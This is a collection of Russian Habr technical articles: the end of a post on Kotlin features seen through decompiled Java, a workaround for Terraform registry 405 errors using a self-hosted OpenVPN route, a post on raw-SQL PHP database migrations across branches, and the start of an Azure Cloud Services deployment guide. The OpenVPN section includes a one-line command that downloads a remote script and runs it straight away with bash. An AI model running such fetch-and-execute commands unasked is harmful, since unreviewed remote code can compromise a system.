System.out.println(var2);
}
}
```
Вообще про саму концепцию reified и для чего это надо можно написать целую статью. Если вкрадце, то доступ к самому типу в Java в compile time невозможен, т.к. до компиляции Java знать не знает что там будет вообще. Котлин — другое дело. Ключевое слово reified может быть использовано только в inline функциях, которые как уже отмечалось просто копируются и вставляются в нужные места, таким образом уже во время «вызова» функции компилятор **уже** в курсе что именно там за тип и может модифицировать байткод.
Следует обратить внимание на то, что в байткоде компилируется статичная функция с **приватным** уровнем доступа, а значит из Java такое дернуть не получится. К слову из-за reified в рекламе Kotlin [«100% interoperable with Java and Android»](https://kotlinlang.org/) получается как минимум неточность.

Может все-таки 99%?
### init
Kotlin
```
class Test {
constructor()
constructor(value: String)
init {
println("hello")
}
}
```
Decompiled Java
```
public final class Test {
public Test() {
String var1 = "hello";
System.out.println(var1);
}
public Test(@NotNull String value) {
Intrinsics.checkParameterIsNotNull(value, "value");
super();
String var2 = "hello";
System.out.println(var2);
}
}
```
В целом с init все просто — это обычная inline функция, которая отрабатывает **до** вызова кода самого конструктора.
### data class
Kotlin
```
data class Test(val argumentValue: String, val argumentValue2: String) {
var innerValue: Int = 0
}
```
Decompiled Java
```
public final class Test {
private int innerValue;
@NotNull
private final String argumentValue;
@NotNull
private final String argumentValue2;
public final int getInnerValue() {
return this.innerValue;
}
public final void setInnerValue(int var1) {
this.innerValue = var1;
}
@NotNull
public final String getArgumentValue() {
return this.argumentValue;
}
@NotNull
public final String getArgumentValue2() {
return this.argumentValue2;
}
public Test(@NotNull String argumentValue, @NotNull String argumentValue2) {
Intrinsics.checkParameterIsNotNull(argumentValue, "argumentValue");
Intrinsics.checkParameterIsNotNull(argumentValue2, "argumentValue2");
super();
this.argumentValue = argumentValue;
this.argumentValue2 = argumentValue2;
}
@NotNull
public final String component1() {
return this.argumentValue;
}
@NotNull
public final String component2() {
return this.argumentValue2;
}
@NotNull
public final Test copy(@NotNull String argumentValue, @NotNull String argumentValue2) {
Intrinsics.checkParameterIsNotNull(argumentValue, "argumentValue");
Intrinsics.checkParameterIsNotNull(argumentValue2, "argumentValue2");
return new Test(argumentValue, argumentValue2);
}
// $FF: synthetic method
@NotNull
public static Test copy$default(Test var0, String var1, String var2, int var3, Object var4) {
if ((var3 & 1) != 0) {
var1 = var0.argumentValue;
}
if ((var3 & 2) != 0) {
var2 = var0.argumentValue2;
}
return var0.copy(var1, var2);
}
@NotNull
public String toString() {
return "Test(argumentValue=" + this.argumentValue + ", argumentValue2=" + this.argumentValue2 + ")";
}
public int hashCode() {
return (this.argumentValue != null ? this.argumentValue.hashCode() : 0) * 31 + (this.argumentValue2 != null ? this.argumentValue2.hashCode() : 0);
}
public boolean equals(@Nullable Object var1) {
if (this != var1) {
if (var1 instanceof Test) {
Test var2 = (Test)var1;
if (Intrinsics.areEqual(this.argumentValue, var2.argumentValue) && Intrinsics.areEqual(this.argumentValue2, var2.argumentValue2)) {
return true;
}
}
return false;
} else {
return true;
}
}
}
```
Честно говоря вообще не хотелось упоминать дата классы, о которых уже столько сказано, но тем не менее есть пара моментов заслуживающих внимания. Во-первых стоит заметить, что в equals/hashCode/copy/toString попадают только те переменные, которые были переданы в конструктор. На вопрос почему так — Андрей Бреслав ответил, что брать еще и поля не переданные в конструкторе сложно и запарно. К слову от дата класса нельзя наследоваться, правда только потому, [что при наследовании нагенеренный код не был бы корректным](https://discuss.kotlinlang.org/t/data-class-inheritance/4107). Во-вторых стоит отметить метод component1() для получения значения поля. Генерируется столько componentN() методов, сколько аргументов в конструкторе. Выглядит бесполезно, но на самом деле нужно это для [destructuring declaration](https://kotlinlang.org/docs/reference/multi-declarations.html).
### destructuring declaration
Для примера воспользуемся дата классом из предыдущего примера и добавим следующий код:
Kotlin
```
class DestructuringDeclaration {
fun test() {
val (one, two) = Test("hello", "world")
}
}
```
Decompiled Java
```
public final class DestructuringDeclaration {
public final void test() {
Test var3 = new Test("hello", "world");
String var1 = var3.component1();
String two = var3.component2();
}
}
```
Обычно эта возможность пылится на полке, но иногда может быть полезной, например, при работе с содержимым мап.
### operator
Kotlin
```
class Something(var likes: Int = 0) {
operator fun inc() = Something(likes+1)
}
class Test() {
fun test() {
var something = Something()
something++
}
}
```
Decompiled Java
```
public final class Something {
private int likes;
@NotNull
public final Something inc() {
return new Something(this.likes + 1);
}
public final int getLikes() {
return this.likes;
}
public final void setLikes(int var1) {
this.likes = var1;
}
public Something(int likes) {
this.likes = likes;
}
// $FF: synthetic method
public Something(int var1, int var2, DefaultConstructorMarker var3) {
if ((var2 & 1) != 0) {
var1 = 0;
}
this(var1);
}
public Something() {
this(0, 1, (DefaultConstructorMarker)null);
}
}
public final class Test {
public final void test() {
Something something = new Something(0, 1, (DefaultConstructorMarker)null);
something = something.inc();
}
}
```
Ключевое слово operator нужно для того, чтобы переопределить какой-нибудь оператор языка для конкретного класса. Честно сказать я ни разу не видел чтоб это кто-нибудь использовал, но тем не менее такая возможность есть, а магии внутри нет. По сути компилятор просто подменяет оператор на нужную функцию, примерно также как typealias заменяется на конкретный тип.
И да, если вы прямо сейчас подумали о том, что будет если переопределить оператор идентичности ( === который), то спешу огорчить, это оператор, который переопределить нельзя.
### inline class
Kotlin
```
inline class User(internal val name: String) {
fun upperCase(): String {
return name.toUpperCase()
}
}
class Test {
fun test() {
val user = User("Some1")
println(user.upperCase())
}
}
```
Decompiled Java
```
public final class Test {
public final void test() {
String user = User.constructor-impl("Some1");
String var2 = User.upperCase-impl(user);
System.out.println(var2);
}
}
public final class User {
@NotNull
private final String name;
// $FF: synthetic method
private User(@NotNull String name) {
Intrinsics.checkParameterIsNotNull(name, "name");
super();
this.name = name;
}
@NotNull
public static final String upperCase_impl/* $FF was: upperCase-impl*/(String $this) {
if ($this == null) {
throw new TypeCastException("null cannot be cast to non-null type java.lang.String");
} else {
String var10000 = $this.toUpperCase();
Intrinsics.checkExpressionValueIsNotNull(var10000, "(this as java.lang.String).toUpperCase()");
return var10000;
}
}
@NotNull
public static String constructor_impl/* $FF was: constructor-impl*/(@NotNull String name) {
Intrinsics.checkParameterIsNotNull(name, "name");
return name;
}
// $FF: synthetic method
@NotNull
public static final User box_impl/* $FF was: box-impl*/(@NotNull String v) {
Intrinsics.checkParameterIsNotNull(v, "v");
return new User(v);
}
@NotNull
public static String toString_impl/* $FF was: toString-impl*/(String var0) {
return "User(name=" + var0 + ")";
}
public static int hashCode_impl/* $FF was: hashCode-impl*/(String var0) {
return var0 != null ? var0.hashCode() : 0;
}
public static boolean equals_impl/* $FF was: equals-impl*/(String var0, @Nullable Object var1) {
if (var1 instanceof User) {
String var2 = ((User)var1).unbox-impl();
if (Intrinsics.areEqual(var0, var2)) {
return true;
}
}
return false;
}
public static final boolean equals_impl0/* $FF was: equals-impl0*/(@NotNull String p1, @NotNull String p2) {
Intrinsics.checkParameterIsNotNull(p1, "p1");
Intrinsics.checkParameterIsNotNull(p2, "p2");
throw null;
}
// $FF: synthetic method
@NotNull
public final String unbox_impl/* $FF was: unbox-impl*/() {
return this.name;
}
public String toString() {
return toString-impl(this.name);
}
public int hashCode() {
return hashCode-impl(this.name);
}
public boolean equals(Object var1) {
return equals-impl(this.name, var1);
}
}
```
Из ограничений — можно использовать только один аргумент в конструкторе, впрочем оно и понятно, учитывая что инлайн класс это в целом обертка над какой-то одной переменной. Инлайн класс может содержать в себе методы, но они представляют из себя обычную статику. Также очевидно, что для поддержки интеропа с Java добавлены все необходимые методы.
### Итог
Не стоит забывать, что во-первых не всегда код будет декомпилирован корректно, во-вторых не любой код может быть декомпилирован. Однако сама по себе возможность смотреть декомпилированный код Kotlin весьма интересная и может многое прояснить. | https://habr.com/ru/post/425077/ | null | ru | null |
# Terraform error 405 Not allowed. Спасает ВПН
Сегодня с утра перестали работать сборки в jenkins, вылетали с ошибкой.
**Скрытый текст**
Terraform and earlier allowed provider version constraints inside the provider configuration block, but that is now deprecated and will be removed in a future version of Terraform. To silence this warning, move the provider version constraint into the required\_providers block.
Error: Failed to install provider
Error while installing hashicorp/vsphere v2.0.2: could not query provider registry for registry.terraform.io/hashicorp/vsphere: failed to retrieve authentication checksums for provider: 405 Not allowed
Error: Failed to install provider
Error while installing hashicorp/dns v3.2.1: could not query provider registry for registry.terraform.io/hashicorp/dns: failed to retrieve authentication checksums for provider: 405 Not allowed
Тутор, как быстро поднять впн и вернуть терраформ в строй!

Переходим по [releases.hashicorp.com/terraform](https://releases.hashicorp.com/terraform/) и получаем Error 405 Not allowed. Развели руками.
Нужно поднимать быстренько впн и пушить маршрут до hashicorp.
Приобрели VDS в Финляндии (не реклама). Далее зашли на vds и прокатили скрипт.
```
wget https://git.io/vpn -O openvpn-install.sh && bash openvpn-install.sh
```
Удобно спасибо [gitlab](https://github.com/Nyr/openvpn-install)
Создали двух клиентов:
Первый создается при запуске скрипта;
второго и далее прокатив еще раз скрипт openvpn-install.sh.
Чуть-чуть меняем openvpn сервер конфиг
```
vi /etc/openvpn/server/server.conf
закомментили все #push маршруты
Добавили свой
push "route 151.101.37.183 255.255.255.255"
```
Запустили рестарт службу впн на сервере.
```
systemctl restart [email protected]
```
Далее зашли на jenkins агента ( в моем случае ). И поставили openvpn (сервер и клиент у них в одном флаконе)
```
centos
sudo yum install epel-release -y
sudo yum install openvpn -y
ubuntu
sudo apt install openvpn
```
Затем создаем файл в /etc/openvpn/openi.conf (Очень важно, чтобы он заканчивался на i.conf) и переносим в него наши сгенерированные скриптом конфиги openvpn.
Коммент от себя:
**Скрытый текст**
Долго тупил и не мог увидеть в чем косяк, пока не посмотрел /usr/lib/systemd/system/[email protected]
И в нем увидел:
ExecStart=/usr/sbin/openvpn --cd /etc/openvpn/ --config %i.conf
Реально, Карл? Зачем ??? /etc/openvpn/ когда есть /etc/openvpn/client/ %i.conf так много вопросов и мало ответов.
```
systemctl start openvpn@openi
systemctl enable openvpn@openi
```
Как итог, сборки вернулись в привычное русло. Далее думаем, как запихать все в Nexus с такими темпами.
Кстати, у кого проблема с большим количеством машин, можно поставить клиент куда-либо (хоть на Mikrotik) и указать на шлюзе маршрут через него к хашикорпу (151.101.37.183).
Возможно завтра туда добавим еще пару маршрутов.
У кого какие идеи решения проблемы с terraform?
Up исправил опечатку в маршруте. | https://habr.com/ru/post/653997/ | null | ru | null |
# PHP: изменение стуктуры БД в командной разработке

В мире PHP хорошо известны инструменты миграций структуры БД — [Doctrine](https://www.doctrine-project.org/projects/migrations.html), [Phinx](https://phinx.org/) от CakePHP, от [Laravel](https://laravel.com/docs/5.6/migrations), от [Yii](https://www.yiiframework.com/doc/guide/2.0/en/db-migrations) — это то первое, что пришло в голову. Наверняка, есть еще с десяток. И большинство из них работают с миграциями — командами для внесения инкрементных изменений в схему базы данных.
Я не буду описывать зачем это, на хабре много постов на эту тему. Например:
* [Версионная миграция структуры базы данных: основные подходы](/post/121265/) — хоть и старая статья, но принципы не стареют
* [Эволюционный дизайн баз данных](/post/312970/) — перевод статьи Мартина Фаулера, хорошее описание [инкрементного подхода]
* [Опыт 1440 миграций баз данных](/company/wrike/blog/414441/) — практичный пост по работе с PostgesSQL
Далее, развитие моего [опыта](/post/97940/) работы в команде с постоянным изменением структуры БД в разных ветках.
raw SQL vs PHP api
------------------
Мы пишем миграции на чистом SQL. Многие инструменты предоставляют PHP-api для написания инструкций транслируемых в SQL-код. Теперь я вообще не понимаю зачем это? Такой инструмент всегда будет ограничен своими возможностями. Специфические инструкции для конкретного движка они не позволяют написать, приходится все равно использовать чистый SQL. Я уже не говорю про написание процедур и вьюх.
Кто-то жаловался, что не хочет учить синтаксис ALTER-команд… Ну, не знаю, открыл справочник и написал, примеров гора, в большом проекте особенно.
Миграции данных (INSERT, UPDATE), тоже всегда пишутся на SQL. Потому что никогда нельзя положиться на текущую версию ОРМ и Моделей. В одной ревизии они есть, в другой уже нет.
Например:
```
Rollback
Country::delete()->where(....)->execute();
```
Хотите откатить состояние базы. А этого PHP-класса уже нет в репо. Нужно искать последний коммит, где он был и откатываться от-туда. Бррр…
Поэтому SQL — все просто и надежно:
```
--TRANSACTION
--UP
ALTER TABLE authors ADD COLUMN code INT;
ALTER TABLE posts ADD COLUMN slug TEXT;
UPDATE authors SET ...
--DOWN
ALTER TABLE authors DROP COLUMN code;
ALTER TABLE posts DROP COLUMN slug;
```
Транзакции в DDL
----------------
С переходом на PostgreSQL забыл о сломанных миграциях как страшный сон — миграция упала в середине, что-то накатилось, что-то нет, сиди и правь ручками… Это вынуждало писать атомарные однострочные команды и запускать их по одной. С транзакциями все просто: если что-то сломалось — все откатывается назад (ну почти все ))). Просто чинишь и запускаешь заново. Автоматическая сборка работает на ура, если что и упало, то быстро исправляется и поднимается.
Вьюхи (представления) и функции
-------------------------------
Здесь проблема в том, что они не могут быть обновлены инкрементно, как ALTER в таблицах. Нужно DROP и CREATE. Т.е. по дифу (тексту миграции) совсем не понятно, что же поменялось в итоге. Особенно когда логика накручена, это довольно неудобно. Например:
```
--UP
DROP VIEW ...
CREATE VIEW mvstock AS
SELECT (now() - '7 days'::interval) AS refreshed_at,
o.pid,
COALESCE(sum(o.debit), 0)::integer AS debit,
COALESCE(sum(o.credit) FILTER (WHERE d.type <> 104), 0)::integer AS credit,
COALESCE(sum(o.debit), 0) - COALESCE(sum(o.credit), 0)::integer AS total
FROM operations o
JOIN docs d ON d.id = o.doc_id AND d.deleted_at IS NULL
WHERE d.closed_at < (now() - '7 days'::interval) AND d.type <> 500
GROUP BY o.pid
WITH DATA;
--DOWN
DROP VIEW ...
CREATE VIEW mvstock AS
SELECT (now() - '10 days'::interval) AS refreshed_at,
o.pid,
COALESCE(sum(o.debit), 0)::integer AS debit,
COALESCE(sum(o.credit) FILTER (WHERE d.type <> 104), 0)::integer AS credit,
COALESCE(sum(o.debit), 0) - COALESCE(sum(o.credit), 0)::integer AS total
FROM operations o
JOIN docs d ON d.id = o.doc_id AND d.deleted_at IS NULL
WHERE d.closed_at < (now() - '10 days'::interval) AND d.type <> 500
GROUP BY o.pid
WITH DATA;
```
Вот что здесь изменилось?
Остановились на том, что рядом с миграциями лежит папочка, где хранится текущий код вьюх и процедур, который обновляется и копипастится в rollback миграции.
И теперь дифф становится похож на:

Еще в Авито сделали интересное решение для [версионирования кода хранимых процедур](/company/avito/blog/342946/)
В целом, этот кейс поднимает хорошую проблему — как посмотреть историю изменений конкретного объекта структуры БД. По каждой таблице хочется посмотреть историю изменений в связи с решением конкретных задач.

Нашел на Хабре интересный [подход](/post/277359/) для автоматизации фиксации изменений структуры базы данных.
Работа с ветками
----------------
Моя вечная боль — как переключиться между двумя А- и В-ветками, в каждой из которых есть правки по структуре БД.

Надо откатить миграции в А-ветке (надо еще помнить какие и сколько), потом переключиться в В-ветку и накатить новые миграции. Ладно еще, если наши правки совместимы и я могу просто переключиться на вторую ветку и накатить дополнительные миграции из B.
А если нет? А если у меня не одна такая ветка? А потом откатить все эти review-состояние? Всегда это ненавидел…
Теперь при переключении на чужую ветку я могу автоматически удалить чужие миграции и накатить текущие:

где:
**D** — А-миграции, которые были запущены в А-ветке, но их нет в текущей ветке, и их рекомендуется удалить
**А** — B-миграции, которые появились в новой ветке и их надо накатить
Это становится безумно удобно при тестировании и автосборке на одной базе. Когда нет смысла или возможности для каждой ветки создавать базу с нуля. Переключаешься на ветку и автоматом синхронизируется состояние БД.
Нумерация и очередность выполнения
----------------------------------
Все известные мне инструменты нумеруют миграции таймстампом — хорошее решение. Если я пишу несколько миграций, то сохраняется необходимая очередность. У другого разработчика в другой ветке может стоять любая дата, даже моя — но это уже не важно в каком порядке мы с ним накатимся, наши изменения не зависят друг от друга. Даже, если мы работаем с одной и той же таблицей (добавляем по колонке), то все необходимые изменения пройдут в любом порядке. Главное, что соблюдается очередность моих зависимых правок.

Я не рассматриваю случаи, когда нам нужно править одно и тоже — эти моменты всегда согласуются. Ну, или будет фейл на этапе сборки и тестирования.
Вот интересный пример.
Мы делаем разные правки в одной вьюхе или процедуре, т.е. в тех структурах, которые обновляются через удаление. Т.е. я, например, добавил колонку col\_A во вьюху, а мой коллега col\_В. Соответственно, если его код выкатывается после моего, то в его версии не будет моей колонки:
```
CREATE VIEW vusers AS
SELECT
login,
name,
-- ....
```
| ветка-А | ветка-B |
| --- | --- |
|
```
DROP VIEW vusers;
CREATE VIEW vusers AS
SELECT
login,
name,
col_A,
-- ....
```
|
```
DROP VIEW vusers;
CREATE VIEW vusers AS
SELECT
login,
name,
col_B,
-- ....
```
|
В этом случае, одну ветку надо ставить в зависимость от другой.
Еще один интересный случай — исправления в миграциях.
Суть в том, что миграция, которая была применена, уже не будет применяться повторно, сколько бы изменений вы не вносили в нее (надо откатить сначала, а потом снова применить). Т.е. вы отдали Миграцию на тестирование, все норм, а потом спохватились и сделали небольшую правку. Но тестовый или другой сервер, где вы ее применили, об этом уже не узнает.
В этих случаях мы переименовываем файл миграции, прибавляя новый номер версии, чтобы мигратор начал интерпретировать это как 2 команды — откатить 1 и накатить 2,
например:

Rollback
--------
Всегда писать ROLLBACK, даже если он не может вернуть базу к исходному состоянию. Например DROP TABLE, какой там может быть ROLLBACK?
В таких случаях мы пишем пустой CREATE TABLE. Суть в том, чтобы dev-система всегда могла легко переключиться между ветками. Для PROD управление необратимыми правками решается уже на другом уровне. Я могу сделать копию таблицы, или переименовать ее вместо удаления. Но сам принцип написания миграции — ролбек ОБЯЗАН вернуть СТРУКТУРУ базы в исходный уровень, а данные уже по мере возможности.
В боевом окружении ролбек я использовал всего 1-2 раза в своей жизни. А в dev постоянно. Поэтому всегда проверяю что ролбек все возвращает в нужное состояние.
Часто разработчики могут делать ошибки в ролбеке. Т.к. они в первую очередь концентрируются на новых правках, их тестируют и с ними работают. С ролбеком работают уже другие люди и процессы. Поэтому я всегда тестирую миграции UP — ROLLBACK — UP
Интересный момент появляется на постоянной тестовой базе (база не удаляется). Написали миграцию, ролбек отлично работает, отдали на тестирование, тестировщик нагенерил данных в новом формате, пытается откатить, а новые данные не дают. Классический пример
```
ALTER TABLE abc ALTER COLUMN code SET NULL
```
Прекрасно! В базе после тестирования полно NULL значений. Делаем ROLLBACK:
```
ALTER TABLE abc ALTER COLUMN code SET NOT NULL
```
и обратно уже никак :-(
Надо добавлять команду:
```
DELETE FROM abc WHERE code IS NULL
```
Сложность в том, что это нужно держать в голове и никак это не автоматизировать, если мы не говорим о пересоздании базы с нуля каждый раз.
##### Немного про удаление данных
Обычно мы стараемся НЕ удалять заполненные таблицы и колонки сразу. Лучше переименовать или сделать копию, а удалить уже по-позже, когда все уляжется и данные потеряют актуальность:
```
ALTER TABLE user_logs RENAME TO user_logs_20190223;
-- или
CREATE TABLE user_logs_20190223 AS TABLE user_logs;
```
Мигратор
--------
Мы сейчас работаем с Laravel — у него есть стандартный, привычный движок управления миграциями. Хочешь, пиши даже на чистом SQL, правда все равно в PHP-классе. Но мои неоднократные попытки заставить его работать так, как нам надо вылились в отдельный репо:
* Решение состоит из 2 частей — lib и реализация под конкретную консоль (Laravel, Symfony). Можно интегрировать в любою консоль, или хоть в web-морду.
* Нет своего конфига и коннекта — зачем, когда он уже есть в вашем проекте. Цепляете свой коннект к интерфейсу и вперед.
* SQL ролбека хранится в базе. Это необходимо для переключения между ветками
* Проверено на Postgesql, Mysql (без транзакций). Подходит в принципе для любых баз и структур, потому что используется raw-формат.
Ссылки
— [migrations-lib](https://github.com/maxim-oleinik/blade-migrations)
— [реализация под Laravel/Artisan](https://github.com/maxim-oleinik/blade-migrations-laravel)
— [реализация под Symfony/Console](https://github.com/maxim-oleinik/blade-migrations-symfony) | https://habr.com/ru/post/435438/ | null | ru | null |
# Публикуем веб приложения Ruby, Python, Node.js, Perl и Java в Azure Cloud Services
 В этой статье мы рассмотрим способ разворачивания веб приложений, написанных с использованием различных технологий, в облаке Azure Cloud Services. А именно это будет Ruby, Python, Node.js, Perl и с некоторыми оговорками также Java и Railo (ColdFusion). В качестве примера Ruby приложения будем использовать Redmine, работающий на Ruby on Rails, в Python пойдет Lightning Fast Shop, работающий на Django, в Node.js будем использовать небольшой проект с использованием express.js, на Perl будем ставить пустой проект Mojolicious. Целью данной статьи не является экскурс по всем этим веб технологиям, а лишь показать удобный и универсальный способ публикации в облаке Azure. Так что кода на Ruby, Python или Perl в ней не будет. Зато будет много скриншотов, shell-скриптов и инструкций по упаковке и развертыванию приложений.
Итак, что же такое Azure Cloud Services и с чем его едят:
К сожалению, обилие маркетинговых материалов в сети плохо раскрывает эту тему и создает много шума. А мы попробуем обсудить этот вопрос человеческим языком, понятным для простых веб разработчиков. Во первых, что важно понимать разработчику, который хочет узнать как пользоваться Azure Cloud Services, это то что данная услуга фактически представляет собой фабрику виртуальных машин. Как это реализовано технически не так важно, главное, что нам интересно это то, что инфраструктура Azure может достаточно быстро и автоматически предоставить нам некоторое количество идентичных виртуальных машин с некоторым количеством ресурсов, на которых может работать наш веб сайт или другое приложение.
В системе Azure все эти виртуальные машины примерно одинаковые и могут быть Windows Server 2008, 2008 R2 и 2012. Видимо, это сделано потому что создание таких виртуальных машин обходится системе достаточно дешево и сами эти машины потребляют не много ресурсов плюс одинаковыми виртуалками легко управлять. Хотя лично мне не известно внутреннее устройство Azure Cloud Services и это лишь предположение. Главное отличие от VPS-хостинга в том что нам не нужно настраивать эти виртуальные машины. Система Azure сама развернет виртуальную машину и сама установит на нее наше приложение, когда это будет нужно. Это позволяет динамически создавать и удалять виртуальные машины по мере необходимости, автоматически и без нашего участия. Для того чтобы реализовать эту технологию наше приложение должно быть особым образом написано и упаковано, чтобы система знала как его устанавливать.
Зачем это выгодно нам: В первую очередь это экономия ресурсов, а значит и наших денег (зависит, конечно, от цены услуги). Сайтам не все время нужно максимальное количество ресурсов. Если покупая VPS или Dedicated хостинг мы вынуждены брать максимальную конфигурацию, которая нам может потребоваться, то в случае с Azure Cloud Services мы можем платить только за те виртуальные машины, которые нам нужны в данный момент. Когда нагрузка на ресурс будет возрастать, система Azure будет автоматически выделять новые виртуальные машины для обслуживания нашего сайта. Когда нагрузка упадет, виртуальные машины вернуться системе и мы не будем за них платить.
Зачем это нужно хостеру (в данном случае Microsoft): Причина та же – экономия ресурсов. Обычно разным сайтам и сервисам максимальное количество ресурсов нужно не одновременно. Значит, это позволяет провайдеру захостить больше веб сайтов на меньшем количестве физических ресурсов. Та же экономия, как и в случае с shared hosting – не всем нужна пиковая нагрузка одновременно. Поэтому shared hosting обычно и стоит дешевле.
А теперь неприятный момент – это усложняет разработку приложения и привязывает нас к платформе. Вернее не усложняет, а немного меняет подход, делает его не столь привычным. Ведь обычно разработчики привыкли, что есть некоторый сервер, к которому можно открыть SSH сессию или RDP, где выполнить различные команды по конфигурации нужной им среды. Несмотря на то, что теоретически в системе Azure Cloud Services тоже можно открыть RDP к виртуальной машине, толку от этого чуть, разьве что в отладочных целях. Ведь через 5 минут система может наплодить еще десяток таких «серверов» которые не будут сконфигурированы вами вручную. А потом и вовсе удалить ваш настроенный сервер без предупреждения.
Решить проблему конфигурации серверов достаточно просто – нужно упаковать наше приложение перед публикацией так, чтобы система сама знала как его настраивать, какие действия нужно выполнить на сервере чтобы наше приложение заработало. В этот пакет кроме самого приложения должны входить также все его зависимости, которые могут понадобиться на сервере для его запуска и настройки. А самое главное там должны быть скрипты, которые смогут сконфигурировать чистую новую виртуальную машину под наше приложение. Система Azure будет разворачивать этот пакет и выполнять скрипты каждый раз, когда новая виртуальная машина входит в строй.
В этой статье мы будем использовать такое решение, чтобы сохранить максимальную независимость от платформы. Ведь платформозависимость и невозможность затем переехать на другой сервис – один из главных факторов тормозящих переход на облачные сервисы на данный момент. Не случайно мы выбрали общеизвестные приложения для примеров и технологии с открытым кодом – способы настройки этих приложений на других платформах общеизвестны. А значит при необходимости можно переносить приложение с одной платформы на другую. Итак, достаточно теории, перейдем к практике. Сейчас будем рассматривать пример использования по каждой технологии по очереди. Так как для каждой технологии будет много одинаковых действий, чтобы сократить статью я не буду повторяться, поэтому я советую читать весь текст подряд, даже если данную конкретную технологию вы использовать не собираетесь.
Ruby
====
Начнем с Ruby и рассмотрим на ее примере все основные положения, так что эта глава будет самой длинной. Если вы с Ruby не работали – ничего страшного. Мы практически не будем использовать специфических команд, а действия по настройке всех платформ однотипны. Во первых нам понадобится рабочая станция Windows. Мы будем использовать [Helicon Zoo](http://www.helicontech.com/zoo/) для запуска Ruby приложений на IIS как на рабочей станции, так и в системе Azure. Мало того что так будет легче конфигурировать среду выполнения для нашего приложения, такая конфигурация в Azure создаст значительно лучшее и более надежное с точки зрения производительности решение, чем запуск Ruby процесса с встроенным сервером на 80-м порту, как это часто делают в других инструкциях. Плюс запуск приложения в IIS еще и позволит нам включить в приложение другие технологии и возможности самого IIS, добавить к сайту секции на ASP.NET и других языках перечисленных в этой статье, сконфигурировать SSL и URL Rewriting, полноценно использовать многоядерные машины, отгружать статические данные средствами самого IIS что также значительно сэкономит ресурсы, и многое другое.
Если вы уже работали с Ruby, то возможно на вашей рабочей станции уже есть установленная и сконфигурированная версия Ruby, с установленными gem-ами и т.д. Это все хорошо, но как ее перенести в Azure Cloud Services? Используя же пакеты Helicon Zoo, мы сможем упаковать все зависимости приложения в один архив, что позволит нам легко переносить его на другие сервера и в Azure Cloud Services в том числе. Так что для верности мы будем устанавливать свежую версию Ruby из репозитория Helicon Zoo, независимо от наличия другого Ruby на вашей машине.
Итак, пройдем по ссылке и установим [Microsoft Web Platform Installer](http://www.microsoft.com/web/downloads/platform.aspx). Запустим его и нажмем Options и в открывшемся окне добавим Helicon Zoo feed: <http://www.helicontech.com/zoo/feed.xml>
На рабочей станции советую также выбирать IIS Express в качестве сервера, т.к. с ним будет проще работать для тестов и потребуется меньше настроек.

Далее нужно установить Windows Azure SDK и легче всего это сделать, воспользовавшись все тем же Web Platform Installer. Введите в поиске «Azure SDK 2.1» или просто нажмите на [эту ссылку](http://wpi:placeholder&WindowsAzureSDK_2_1???). Если на момент прочтения статьи версия SDK устареет и ссылка не будет работать, просто найдите более новую в списке:

В Azure SDK входит набор утилит по созданию и тестированию пакетов для Windows Azure Cloud Services, который нам и понадобится. Мы будем использовать утилиты командной строки и не будем использовать Visual Studio и другие инструменты по автоматической публикации сайтов, так как я старался минимизировать количество «магии» в статье. Тем более раз мы публикуем приложение на Ruby, то сомнительно, что именно Visual Studio будет вашим инструментом разработки. Поэтому я предлагаю ставить именно базовый Azure SDK, а не Azure SDK for Ruby. В последний уже входит некоторый дистрибутив Ruby и набор конфигураций, которые возможно и не плохи, но определенно не те, которые будут использованы в этой статье. Если вы все же привыкли использовать Visual Studio для создания пакетов Azure, то для вас не составит труда создать нужный пакет вручную, пользуясь этой статьей.
Теперь давайте создадим Ruby приложение на нашей рабочей станции. Если у вас уже есть готовое Ruby Rack приложение, то вам нужно запустить Web Platform Installer, и установить «Ruby project» из секции Zoo -> Templates. Далее следуйте инструкциям на пригласительной странице получившегося шаблонного сайта.

Однако всем уже, похоже, надоела установка «Hello World» приложений, а написание более продвинутого кода выходит за рамки этой статьи, поэтому мы просто будем ставить Redmine, как достаточно сложное и известное Ruby on Rails приложение с открытым кодом. Для этого откройте все тот же Web Platform Installer, зайдите в Zoo -> Applications и установите Redmine. По завершении установки запустится процесс развертывания приложения, который просто автоматически выполняет шаги, описанные в [этой статье(англ.)](http://www.helicontech.com/articles/installing-redmine-on-windows-in-production/) в разделе Manual installation.

При этом никакой предварительной установки Ruby, Dev Kit, gem-ов и даже самого IIS Express не требуется – обо всем позаботится Web Platform Installer и Helicon Zoo. Все требуемые пакеты будут загружены из интернет и установлены на вашу рабочую станцию. После окончания установки всех компонентов вы должны увидеть первую страницу Redmine. Конечно, по-хорошему еще нужно сконфигурировать правильную базу данных, но для нашего теста уже вполне достаточно используемой по умолчанию SQLite.
Обратите внимание на структуру файлов получившегося сайта (может понадобится нажать F5 в WebMatrix чтобы обновить вид папок):

В папке GEM\_HOME собраны все gem-ы, от которых зависит наше приложение. Именно оттуда они и будут загружаться во время работы. Файл deploy\_done.rb – это скрипт deploy.rb, выполнение которого мы наблюдали на предыдущем шаге, на странице с сообщением «Application deployment in progress». По завершении его выполнения Helicon Zoo переименовал этот файл в deploy\_done.rb, чтобы исключить повторный запуск без надобности. Если вам понадобится запустить процесс по-новой, просто переименуйте этот файл обратно в deploy.rb и со следующего запроса к серверу скрипт будет запущен снова. В этом скрипте содержатся стандартные команды нахождения и установки недостающих зависимостей, создания при необходимости и миграций базы данных и т.п. Это один из способов как выполнять команды в контексте приложения подробнее о котором можно прочитать в [документации Helicon Zoo](http://www.helicontech.com/zoo/docs/deployment.htm)(англ.). Другой способ – это запустить Helicon Zoo Manager (for IIS Express) из Start -> Programs -> Helicon –> Zoo, а там, выбрав наше приложение, можно нажать на Start Web console или Start IDE.

Web console позволяет выполнять команды в контексте приложения и от лица пользователя этого приложения (Application pool user в случае IIS и интерактивного пользователя в случае IIS Express), как на локальной машине, так и на удаленном сервере. Кнопка Start IDE позволяет запустить программу (по умолчанию это будет командная строка cmd.exe) в предварительно сконфигурированной среде из переменных и путей для выбранного веб приложения. Это также позволит выполнять команды, которые будут применены к нашему приложению, а не глобально к системе. Большинство современных IDE, таких как Aptana или PyCharm, имеют встроенную командную строку, корректно распознают эти переменные и позволяют работать с локальными папками приложения более-менее изолированно и выполнять команды прямо из среды. Так что я рекомендую сконфигурировать запуск вашего любимого IDE по кнопке Start IDE и выполнять все команды оттуда. Еще можно экспортировать переменные окружения в .cmd-файл нажав на Tools -> Export application environment. Этот файл затем можно вызывать перед выполнением других скриптовых команд предназначенных для приложения и он установит требуемые пути и переменные среды. Это удобно если например вам нужно применить команды к приложению по таймеру из Windows Scheduler.
